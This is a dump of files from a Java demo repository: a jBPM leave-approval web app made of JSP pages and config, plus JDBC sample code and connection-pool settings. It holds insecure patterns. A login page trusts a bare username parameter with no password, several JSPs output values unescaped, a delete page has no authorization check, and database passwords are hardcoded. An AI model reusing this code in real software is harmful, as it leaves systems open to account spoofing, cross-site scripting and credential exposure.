    "content": "handlers= java.util.logging.ConsoleHandler\nredirect.commons.logging = enabled\n\njava.util.logging.ConsoleHandler.level = FINEST\njava.util.logging.ConsoleHandler.formatter = org.jbpm.internal.log.LogFormatter\n\norg.jbpm.level=FINE\n# org.jbpm.pvm.internal.tx.level=FINE\n# org.jbpm.pvm.internal.wire.level=FINE\n# org.jbpm.pvm.internal.util.level=FINE\n\norg.hibernate.level=INFO\norg.hibernate.cfg.SettingsFactory.level=SEVERE\norg.hibernate.cfg.HbmBinder.level=SEVERE\norg.hibernate.SQL.level=FINEST\norg.hibernate.type.level=FINEST\n# org.hibernate.tool.hbm2ddl.SchemaExport.level=FINEST\n# org.hibernate.transaction.level=FINEST"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_plugin_demo</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/boss.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\n    pageEncoding=\"UTF-8\"%>\n<%@page import=\"org.jbpm.api.*,org.jbpm.api.task.*\" %>    \n<%\n\tProcessEngine processEngine = Configuration.getProcessEngine();\n\tTaskService taskService = processEngine.getTaskService();\n\tString taskId = request.getParameter(\"id\");\n\tTask task = taskService.getTask(taskId);\n%>  \n<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<title>Insert title here</title>\n</head>\n<body>\n  <fieldset>\n    <legend>老板审核</legend>\n    <form action=\"submit_boss.jsp\" method=\"post\">\n      <input type=\"hidden\" name=\"taskId\" value=\"${param.id}\">\n      申请人：<%=taskService.getVariable(taskId, \"owner\") %><br/>\n  请假时间：<%=taskService.getVariable(taskId, \"day\") %><br/>\n    请假原因：<%=taskService.getVariable(taskId, \"reason\") %><br/>\n    <input type=\"submit\"/>\n    </form>\n  </fieldset>\n\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/checkLogin.jsp",
    "content": "<%\n\tif (session.getAttribute(\"username\") == null) {\n\t\tresponse.sendRedirect(\"login.jsp\");\n\t}\n%>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/deploy.jsp",
    "content": "<%@page import=\"java.util.*,org.jbpm.api.*,java.util.zip.*\"%>\n<%\n\tProcessEngine processEngine = Configuration.getProcessEngine();\n\tRepositoryService repositoryService = processEngine\n\t\t\t.getRepositoryService();\n\n\t//repositoryService.createDeployment().addResourceFromClasspath(\"leave.jpdl.xml\").deploy();\n\tZipInputStream zis = new ZipInputStream(this.getClass()\n\t\t\t.getResourceAsStream(\"/leave.zip\"));\n\trepositoryService.createDeployment()\n\t\t\t.addResourcesFromZipInputStream(zis).deploy();\n\tresponse.sendRedirect(\"index.jsp\");\n%>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/doLogin.jsp",
    "content": "\n<%\n\tsession.setAttribute(\"username\", request.getParameter(\"username\"));\n\tresponse.sendRedirect(\"index.jsp\");\n%>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/index.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"%>\n<%@include file=\"/checkLogin.jsp\" %>\n<%@page import=\"java.util.*,org.jbpm.api.*,org.jbpm.api.task.*\" %>\n<%\nProcessEngine processEngine = Configuration.getProcessEngine();\nRepositoryService repositoryService = processEngine.getRepositoryService();\nExecutionService executionService = processEngine.getExecutionService();\nTaskService taskService = processEngine.getTaskService();\n\nString username = (String) session.getAttribute(\"username\");\n\nList<ProcessDefinition> pdList = repositoryService.createProcessDefinitionQuery().list();\nList<ProcessInstance> piList = executionService.createProcessInstanceQuery().list();\nList<Task> taskList = taskService.findPersonalTasks(username);\n%>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n  <head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n    <title>index</title>\n  </head>\n  <body> \n    <a href=\"deploy.jsp\">发布新流程</a>&nbsp;[username: <%=username %>]<a href=\"login.jsp\">登陆</a>\n\n    <table border=\"1\" width=\"100%\">\n      <caption>流程定义</caption>\n      <thead>\n        <tr>\n          <td>id</td>\n          <td>name</td>\n          <td>version</td>\n          <td>&nbsp;</td>\n        </tr>\n      </thead>\n      <tbody>\n<%\n\tfor (ProcessDefinition pd : pdList) {\n%>\n\t    <tr>\n\t      <td><%=pd.getId() %></td>\n\t      <td><%=pd.getName() %></td>\n\t      <td><%=pd.getVersion() %></td>\n\t      <td>\n\t        <a href=\"remove.jsp?id=<%=pd.getDeploymentId() %>\">remove</a>\n\t        &nbsp;|&nbsp;\n\t        <a href=\"start.jsp?id=<%=pd.getId() %>\">start</a>\n\t      </td>\n\t    </tr>\n<%\n\t}\n%>\n\t  </tbody>\n\t</table> \n\n    <table border=\"1\" width=\"100%\">\n      <caption>流程实例</caption>\n      <thead>\n        <tr>\n          <td>id</td>\n          <td>activity</td>\n          <td>state</td>\n          <td>&nbsp;</td>\n        </tr>\n      </thead>\n      <tbody>\n<%\n\tfor (ProcessInstance pi : piList) {\n%>\n\t    <tr>\n\t      <td><%=pi.getId() %></td>\n\t      <td><%=pi.findActiveActivityNames() %></td>\n\t      <td><%=pi.getState() %></td>\n\t      <td><a href=\"view.jsp?id=<%=pi.getId() %>\">view</a></td>\n\t    </tr>\n<%\n\t}\n%>\n\t  </tbody>\n\t</table> \n\n    <table border=\"1\" width=\"100%\">\n      <caption>待办任务</caption>\n      <thead>\n        <tr>\n          <td>id</td>\n          <td>name</td>\n          <td>&nbsp;</td>\n        </tr>\n      </thead>\n      <tbody>\n<%\n\tfor (Task task : taskList) {\n%>\n\t    <tr>\n\t      <td><%=task.getId() %></td>\n\t      <td><%=task.getName() %></td>\n\t      <td><a href=\"<%=task.getFormResourceName() %>?id=<%=task.getId() %>\">view</a></td>\n\t    </tr>\n<%\n\t}\n%>\n\t  </tbody>\n\t</table> \n  </body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/login.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\n    pageEncoding=\"UTF-8\"%>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<title>Insert title here</title>\n</head>\n<body>\n  <fieldset>\n    <legend>登陆</legend>\n    <form action=\"doLogin.jsp\" method=\"post\">\n      用户名：<input type=\"text\" name=\"username\" value=\"\"/><br/>\n    <input type=\"submit\"/>\n    </form>\n  </fieldset>\n\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/manager.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\n    pageEncoding=\"UTF-8\"%>\n<%@page import=\"org.jbpm.api.*,org.jbpm.api.task.*\" %>    \n<%\n\tProcessEngine processEngine = Configuration.getProcessEngine();\n\tTaskService taskService = processEngine.getTaskService();\n\tString taskId = request.getParameter(\"id\");\n\tTask task = taskService.getTask(taskId);\n%>    \n<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<title>Insert title here</title>\n</head>\n<body>\n  <fieldset>\n    <legend>经理审核</legend>\n    <form action=\"submit_manager.jsp\" method=\"post\">\n      <input type=\"hidden\" name=\"taskId\" value=\"${param.id}\">\n      申请人：<%=taskService.getVariable(taskId, \"owner\") %><br/>\n  请假时间：<%=taskService.getVariable(taskId, \"day\") %><br/>\n    请假原因：<%=taskService.getVariable(taskId, \"reason\") %><br/>\n    <input name=\"result\" type=\"submit\" value=\"批准\"/><input name=\"result\" type=\"submit\" value=\"驳回\"/>\n    </form>\n  </fieldset>\n\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/pic.jsp",
    "content": "<%@page import=\"org.jbpm.api.*,java.io.*\"%>\n<%\n\tProcessEngine processEngine = Configuration.getProcessEngine();\n\tRepositoryService repositoryService = processEngine\n\t\t\t.getRepositoryService();\n\tExecutionService executionService = processEngine\n\t\t\t.getExecutionService();\n\tString id = request.getParameter(\"id\");\n\tProcessInstance processInstance = executionService\n\t\t\t.findProcessInstanceById(id);\n\tString processDefinitionId = processInstance\n\t\t\t.getProcessDefinitionId();\n\tProcessDefinition processDefinition = repositoryService\n\t\t\t.createProcessDefinitionQuery().processDefinitionId(\n\t\t\t\t\tprocessDefinitionId).uniqueResult();\n\tInputStream inputStream = repositoryService.getResourceAsStream(processDefinition.getDeploymentId(),\"leave.png\");\n\tbyte[] b = new byte[1024];\n\tint len = -1;\n\twhile ((len = inputStream.read(b, 0, 1024)) != -1) {\n\t\tresponse.getOutputStream().write(b, 0, len);\n\t}\n%>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/remove.jsp",
    "content": "<%@page import=\"java.util.*,org.jbpm.api.*\" %>\n<%\n\tProcessEngine processEngine = Configuration.getProcessEngine();\n\tRepositoryService repositoryService = processEngine.getRepositoryService();\n\n\trepositoryService.deleteDeploymentCascade(request.getParameter(\"id\"));\n\tresponse.sendRedirect(\"index.jsp\");\n%>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/request.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\n    pageEncoding=\"UTF-8\"%>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<title>Insert title here</title>\n</head>\n<body>\n  <fieldset>\n    <legend>申请</legend>\n    <form action=\"submit.jsp\" method=\"post\">\n      <input type=\"hidden\" name=\"taskId\" value=\"${param.id}\">\n      申请人：<input type=\"text\" name=\"owner\" value=\"${sessionScope['username']}\"/><br/>\n  请假时间：<input type=\"text\" name=\"day\" value=\"\"/><br/>\n    请假原因：<textarea name=\"reason\"></textarea><br/>\n    <input type=\"submit\"/>\n    </form>\n  </fieldset>\n\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/start.jsp",
    "content": "<%@page import=\"java.util.*,org.jbpm.api.*,java.util.*\"%>\n<%\n\tProcessEngine processEngine = Configuration.getProcessEngine();\n\tExecutionService executionService = processEngine\n\t\t\t.getExecutionService();\n\tMap map = new HashMap();\n\tmap.put(\"owner\", session.getAttribute(\"username\"));\n\texecutionService.startProcessInstanceById(request\n\t\t\t.getParameter(\"id\"), map);\n\tresponse.sendRedirect(\"index.jsp\");\n%>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/submit.jsp",
    "content": "<%@page import=\"java.util.*,org.jbpm.api.*\"%>\n<%\n\tProcessEngine processEngine = Configuration.getProcessEngine();\n\tTaskService taskService = processEngine.getTaskService();\n\n\tString taskId = request.getParameter(\"taskId\");\n\tString owner = request.getParameter(\"owner\");\n\tint day = Integer.parseInt(request.getParameter(\"day\"));\n\tString reason = request.getParameter(\"reason\");\n\n\tMap map = new HashMap();\n\tmap.put(\"day\", day);\n\tmap.put(\"reason\", reason);\n\ttaskService.completeTask(taskId, map);\n\tresponse.sendRedirect(\"index.jsp\");\n%>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/submit_boss.jsp",
    "content": "<%@page import=\"java.util.*,org.jbpm.api.*\"%>\n<%\n\tProcessEngine processEngine = Configuration.getProcessEngine();\n\tTaskService taskService = processEngine.getTaskService();\n\n\tString taskId = request.getParameter(\"taskId\");\n\ttaskService.completeTask(taskId);\n\tresponse.sendRedirect(\"index.jsp\");\n%>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/submit_manager.jsp",
    "content": "<%@page contentType=\"text/html;charset=UTF-8\" %>\n<%@page import=\"java.util.*,org.jbpm.api.*\"%>\n<%\n\tProcessEngine processEngine = Configuration.getProcessEngine();\n\tTaskService taskService = processEngine.getTaskService();\n\n\tString taskId = request.getParameter(\"taskId\");\n\tString result = request.getParameter(\"result\");\n\tresult = new String(result.getBytes(\"ISO-8859-1\"), \"UTF-8\");\n\ttaskService.completeTask(taskId, result);\n\tresponse.sendRedirect(\"index.jsp\");\n%>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/webapp/view.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\n    pageEncoding=\"UTF-8\"%>\n<%@page import=\"org.jbpm.api.*,java.util.*,org.jbpm.api.model.*\" %>\n<%\n\tString id = request.getParameter(\"id\");\n\tProcessEngine processEngine = Configuration.getProcessEngine();\n\tRepositoryService repositoryService = processEngine.getRepositoryService();\n\tExecutionService executionService = processEngine.getExecutionService();\n\tProcessInstance processInstance = executionService.findProcessInstanceById(id);\n\tSet<String> activityNames = processInstance.findActiveActivityNames();\n\t\n\tActivityCoordinates ac = repositoryService.getActivityCoordinates(processInstance.getProcessDefinitionId(),activityNames.iterator().next());\n%>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<title>Insert title here</title>\n</head>\n<body>\n<img src=\"pic.jsp?id=<%=id %>\" style=\"position:absolute;left:0px;top:0px;\">\n<div style=\"position:absolute;border:1px solid red;left:<%=ac.getX()%>px;top:<%=ac.getY()%>px;width:<%=ac.getWidth()%>px;height:<%=ac.getHeight()%>px;\"></div>\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_jdbc</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>io.github.wujun728</groupId>\n\t\t\t<artifactId>jun_datasource</artifactId>\n\t\t\t<version>1.0</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>commons-beanutils</groupId>\n\t\t\t<artifactId>commons-beanutils</artifactId>\n\t\t\t<version>1.9.4</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-collections4</artifactId>\n\t\t\t<version>4.4</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-logging</groupId>\n\t\t\t<artifactId>commons-logging</artifactId>\n\t\t\t<version>1.2</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>log4j</groupId>\n\t\t\t<artifactId>log4j</artifactId>\n\t\t\t<version>1.2.17</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core \n\t\t\t<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> \n\t\t\t<version>2.13.2</version> </dependency> -->\n\t\t<!-- https://mvnrepository.com/artifact/junit/junit -->\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.13</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/com.oracle/ojdbc 1.maven的中心资源库中没有ojdbc驱动包，所以需要安装到本地仓库 \n\t\t\t1.下载位置： doc 2.下载后放在d盘下，然后执行以下命令 mvn install:install-file -DgroupId=com.oracle \n\t\t\t-DartifactId=ojdbc14 -Dversion=11.2.0 -Dpackaging=jar -Dfile=D:\\ojdbc14-11.2.0.jar -->\n\t\t<dependency>\n\t\t\t<groupId>com.oracle</groupId>\n\t\t\t<artifactId>ojdbc6</artifactId>\n\t\t\t<version>11.2.0.3</version>\n\t\t</dependency>\n\n\n\t</dependencies>\n\t<build>\n\t\t<finalName>jun_jdbc</finalName>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.8.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/c3p0-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<c3p0-config>\n\t<!-- 默认配置，当使用ComboPooledDataSource无参构造器时，使用的就是这个配置 -->\n\t<default-config>\n\t\t<!-- 基本配置 -->\n\t\t<property name=\"jdbcUrl\">jdbc:mysql://localhost:3306/test1</property>\n\t\t<property name=\"driverClass\">com.mysql.jdbc.Driver</property>\n\t\t<property name=\"user\">root</property>\n\t\t<property name=\"password\">1234</property>\n\t\t<!-- 每次增量，当需要创建Connection对象时，一次创建几个 -->\n\t\t<property name=\"acquireIncrement\">3</property>\n\t\t<!-- 当创建池对象后，池中应该有几个Connection对象 -->\n\t\t<property name=\"initialPoolSize\">10</property>\n\t\t<!-- 池中最少Connection个数，如果少于这个值，就会创建Connection -->\n\t\t<property name=\"minPoolSize\">2</property>\n\t\t<!-- 池中最大连接个数 -->\n\t\t<property name=\"maxPoolSize\">10</property>\n\t</default-config>\n\t<!-- 命名配置，new ComboPooledDataSource(\"oralce-config\")时，使用的就是这个配置 -->\n\t<named-config name=\"oracle-config\">\n\t\t<property name=\"jdbcUrl\">jdbc:mysql://localhost:3306/test2</property>\n\t\t<property name=\"driverClass\">com.mysql.jdbc.Driver</property>\n\t\t<property name=\"user\">root</property>\n\t\t<property name=\"password\">1234</property>\n\t\t<property name=\"acquireIncrement\">3</property>\n\t\t<property name=\"initialPoolSize\">10</property>\n\t\t<property name=\"minPoolSize\">2</property>\n\t\t<property name=\"maxPoolSize\">10</property>\n\t</named-config>\n</c3p0-config>\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/TestOracleJdbc.java",
    "content": "package com.jun.plugin.jdbc;\n\nimport java.sql.*;\n\nimport javax.sql.*;\n\npublic class TestOracleJdbc {\n\t\n\tConnection conn = null;\n\t  PreparedStatement prepareStmt = null;\n\t  ResultSet rs = null;\n\t  \n\t  public void init(){\n\t    try {\n\t      Class.forName(\"oracle.jdbc.driver.OracleDriver\");\n\t      String url = \"jdbc:oracle:thin:@192.168.0.26:1521:test\";\n\t      String dbUsername = \"openlab\";\n\t      String dbPassword = \"open123\";\n\t      conn = DriverManager.getConnection(url, dbUsername, dbPassword);\n\t    }catch(Exception e){\n\t      e.printStackTrace();\n\t    }\n\t  }\n\t  public void close(){\n\t    try {\n\t      if(rs != null)\n\t        rs.close();\n\t    } catch (SQLException e) {\n\t      e.printStackTrace();\n\t    }\n\t    try {\n\t      if (prepareStmt != null)\n\t        prepareStmt.close();\n\t    } catch (SQLException e) {\n\t      e.printStackTrace();\n\t    }\n\t    try {\n\t      if (conn != null)\n\t        conn.close();\n\t    } catch (SQLException e) {\n\t      e.printStackTrace();\n\t    }\n\t  }\n\t  /**\n\t   * @param args\n\t   */\n\t  public static void main(String[] args) {\n\t    // new TestJdbc5().insert();\n\t    //new TestJdbc5().update();\n\t    new TestOracleJdbc().delete();\n\t  }\n\t  public void delete() {\n\t    init();\n\t    try {\n\t      String sql = \"delete mydepttemp \" +\n\t          \" where deptno = ?\";\n\t      prepareStmt = conn.prepareStatement(sql);\n\t      prepareStmt.setInt(1, 10);\n\n\t      int n = prepareStmt.executeUpdate();\n\t      System.out.println(n+\"����¼��ɾ��\");\n\t    }  catch (SQLException e) {\n\t      e.printStackTrace();\n\t    } finally {\n\t      close();\n\t    }\n\t  }\n\n\n\t  public void update() {\n\t    init();\n\t    try {\n\t      String sql = \"update mydepttemp \" +\n\t          \"set loc = ? \" + \"where deptno = ?\";\n\t      prepareStmt = conn.prepareStatement(sql);\n\t      prepareStmt.setString(1, \"\");\n\t      prepareStmt.setInt(2, 10);\n\n\t      int n = prepareStmt.executeUpdate();\n\t      System.out.println(n+\"\");\n\t      System.out.println((n > 0) ? \"OK\" : \"error\");\n\n\t    }  catch (SQLException e) {\n\t      e.printStackTrace();\n\t    } finally {\n\t      close();\n\t    }\n\t  }\n\n\t  public void insert() {\n\t    init();\n\t    try {\n\t      \n\t      String sql = \"insert into dept \" + \"values(?, ?, ?)\";\n\t      prepareStmt = conn.prepareStatement(sql);\n\t      prepareStmt.setInt(1, 10);\n\t      prepareStmt.setString(2, \"market\");\n\t      prepareStmt.setString(3, \"beijing\");\n\n\t      int n = prepareStmt.executeUpdate();\n\n\t      System.out.println((n == 1) ? \"OK\" : \"error\");\n\n\t    } catch (SQLException e) {\n\t      e.printStackTrace();\n\t    } finally {\n\t      close();\n\t    }\n\t  }\n\n\t  public  void select() {\n\t    init();\n\t    try {\n\t      String sql = \"select * from vemp \" + \" where deptno = ?\";\n\t      prepareStmt = conn.prepareStatement(sql);\n\t      prepareStmt.setInt(1, 20);\n\t      rs = prepareStmt.executeQuery();\n\t      while (rs.next()) {\n\t        System.out.println(rs.getString(\"ename\") + \", \"\n\t            + rs.getString(\"deptno\"));\n\t      }\n\t    }catch (SQLException e) {\n\t      e.printStackTrace();\n\t    } finally {\n\t      close();\n\t    }\n\n\t  }\n\n\t  \n\n\tpublic static void TestSelect1() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tClass.forName(\"oracle.jdbc.driver.OracleDriver\");\n\t\t\tString url = \"jdbc:oracle:thin:@192.168.0.26:1521:test\";\n\t\t\tString dbUsername = \"openlab\";\n\t\t\tString dbPassword = \"open123\";\n\t\t\tconn = DriverManager.getConnection(url, dbUsername, dbPassword);\n\t\t\tstmt = conn.createStatement();\n\t\t\tString sql = \"select dname, loc from dept\";\n\t\t\trs = stmt.executeQuery(sql);\n\t\t\twhile (rs.next()) {\n\t\t\t\tString dname = rs.getString(\"dname\");\n\t\t\t\tString loc = rs.getString(\"loc\");\n\t\t\t\tSystem.out.println(dname + \", \" + loc);\n\t\t\t}\n\t\t} catch (ClassNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\trs.close();\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t\ttry {\n\t\t\t\tstmt.close();\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t\ttry {\n\t\t\t\tconn.close();\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\n\t\t}\n\n\t}\n\t\n\t public static void TestSelect() {\n\t\t    Connection conn = null;\n\t\t    Statement stmt = null;\n\t\t    ResultSet rs = null;\n\t\t    try {\n\t\t      Class.forName(\"oracle.jdbc.driver.OracleDriver\");\n\t\t      String url = \"jdbc:oracle:thin:@192.168.0.26:1521:test\";\n\t\t      String dbUsername = \"openlab\";\n\t\t      String dbPassword = \"open123\";\n\t\t      conn = DriverManager.getConnection(url, dbUsername, dbPassword);\n\t\t      stmt = conn.createStatement();\n\t\t      String sql = \"select empno, ename, job, sal, \" +\n\t\t          \"to_char(hiredate, 'yyyy/mm/dd') hiredate \" +\n\t\t          \"from mystu\";\n\t\t      //System.out.println(sql);\n\t\t      stmt.setMaxRows(5);\n\t\t      rs = stmt.executeQuery(sql);//130000\n\t\t      //rs.setFetchSize(5);\n\t\t      \n\t\t      while (rs.next()) {\n\t\t        int empno = rs.getInt(\"empno\");\n\t\t        String ename = rs.getString(\"ename\");\n\t\t        String job = rs.getString(\"job\");\n\t\t        double sal = rs.getDouble(\"sal\");\n\t\t        String hiredate = rs.getString(\"hiredate\");\n\t\t        System.out.println(empno + \", \" \n\t\t            + ename + \", \" \n\t\t            + job + \", \" \n\t\t            + sal + \", \"\n\t\t            + hiredate);\n\t\t      }\n\t\t    } catch (ClassNotFoundException e) {\n\t\t      e.printStackTrace();\n\t\t    } catch (SQLException e) {\n\t\t      e.printStackTrace();\n\t\t    } finally {\n\t\t      try {\n\t\t        rs.close();\n\t\t      } catch (SQLException e) {\n\t\t        e.printStackTrace();\n\t\t      }\n\t\t      try {\n\t\t        stmt.close();\n\t\t      } catch (SQLException e) {\n\t\t        e.printStackTrace();\n\t\t      }\n\t\t      try {\n\t\t        conn.close();\n\t\t      } catch (SQLException e) {\n\t\t        e.printStackTrace();\n\t\t      }\n\n\t\t    }\n\n\t\t  }\n\t \n\t \n\t public static void TestCount() {\n\t\t    Connection conn = null;\n\t\t    Statement stmt = null;\n\t\t    ResultSet rs = null;\n\t\t    try {\n\t\t      Class.forName(\"oracle.jdbc.driver.OracleDriver\");\n\t\t      String url = \"jdbc:oracle:thin:@192.168.0.26:1521:test\";\n\t\t      String dbUsername = \"openlab\";\n\t\t      String dbPassword = \"open123\";\n\t\t      conn = DriverManager.getConnection(url, dbUsername, dbPassword);\n\t\t      // 3.���������\n\t\t      stmt = conn.createStatement();\n\t\t      String sql = \"select count(*) emp_count, \" +\n\t\t          \"avg(sal) avg_sal \" +\n\t\t          \"from emp\";\n\t\t      rs = stmt.executeQuery(sql);\n\t\t      if (rs.next()) {\n\t\t        int count = rs.getInt(\"emp_count\");\n\t\t        double avg_sal = rs.getDouble(\"avg_sal\");\n\t\t        System.out.println(\"total:\" + count);\n\t\t        System.out.println(\"avg:\" + avg_sal);\n\t\t      }\n\t\t    } catch (ClassNotFoundException e) {\n\t\t      e.printStackTrace();\n\t\t    } catch (SQLException e) {\n\t\t      e.printStackTrace();\n\t\t    } finally {\n\t\t      try {\n\t\t        rs.close();\n\t\t      } catch (SQLException e) {\n\t\t        e.printStackTrace();\n\t\t      }\n\t\t      try {\n\t\t        stmt.close();\n\t\t      } catch (SQLException e) {\n\t\t        e.printStackTrace();\n\t\t      }\n\t\t      try {\n\t\t        conn.close();\n\t\t      } catch (SQLException e) {\n\t\t        e.printStackTrace();\n\t\t      }\n\n\t\t    }\n\n\t\t  }\n\t \n\t public static void TestSelect2() {\n\t\t    Connection conn = null;\n\t\t    Statement stmt = null;\n\t\t    ResultSet rs = null;\n\t\t    try {\n\t\t      Class.forName(\"oracle.jdbc.driver.OracleDriver\");\n\t\t      String url = \"jdbc:oracle:thin:@192.168.0.26:1521:test\";\n\t\t      String dbUsername = \"openlab\";\n\t\t      String dbPassword = \"open123\";\n\t\t      conn = DriverManager.getConnection(url, dbUsername, dbPassword);\n\n\t\t      DatabaseMetaData dmd = conn.getMetaData();\n\t\t      System.out.println(dmd.getDatabaseProductName());\n\t\t      System.out.println(dmd.getDatabaseProductVersion());\n\t\t      System.out.println(dmd.getDriverName());\n\t\t      System.out.println(dmd.getURL());\n\t\t      System.out.println(dmd.getUserName());\n\n\t\t      stmt = conn.createStatement();\n\t\t      String sql = \"select e.ename, d.dname\" +\n\t\t          \" from vemp e join vdept d\" +\n\t\t          \" on e.deptno = d.deptno\";\n\t\t      rs = stmt.executeQuery(sql);\n\t\t      ResultSetMetaData rsm = rs.getMetaData();\n\t\t      int count = rsm.getColumnCount();\n\t\t      for (int i = 1; i <= count; i++) {\n\t\t        System.out.print(\n\t\t            rsm.getColumnName(i) + \"\\t\");\n\t\t      }\n\t\t      System.out.println();\n\t\t      while (rs.next()) {\n\t\t        for (int i = 1; i <= count; i++) {\n\t\t          System.out.print(\n\t\t              rs.getString(rsm.getColumnName(i)) + \"\\t\");\n\t\t        }\n\t\t        System.out.println();\n\t\t      }\n\n\t\t    } catch (ClassNotFoundException e) {\n\t\t      